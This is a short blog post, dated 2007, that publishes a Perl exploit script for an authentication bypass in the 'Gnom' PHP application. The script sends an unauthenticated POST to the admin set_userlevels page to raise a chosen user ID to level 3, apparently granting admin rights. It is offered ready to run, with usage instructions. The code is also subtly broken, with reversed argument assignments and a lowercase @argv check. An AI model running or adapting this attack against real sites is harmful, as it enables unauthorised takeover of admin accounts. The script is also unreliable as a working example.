Monday, 1 January 2007

Gnom PHP auth bypass

#!/usr/bin/perl
#http://localhost/admin/admin.php?page=user&action=free&id=2
use IO::Socket;
if (@argv<2) {
print "\n";
print "# gnom_php.pl host /path/ 1 #\n";
print "\n";
exit;
}


$argv[0]=$host;
$argv[1]=$path;
$id=$ARGV[2];

$data = "id=".$id."&level=3";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "Cannot Connect Host!";
print $get1 "POST ".$path."admin/admin.php?page=set_userlevels HTTP/1.0\n";
print $get1 "Host: ".$host."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
print "Done!\n";
#released by Bl0od3r

No comments: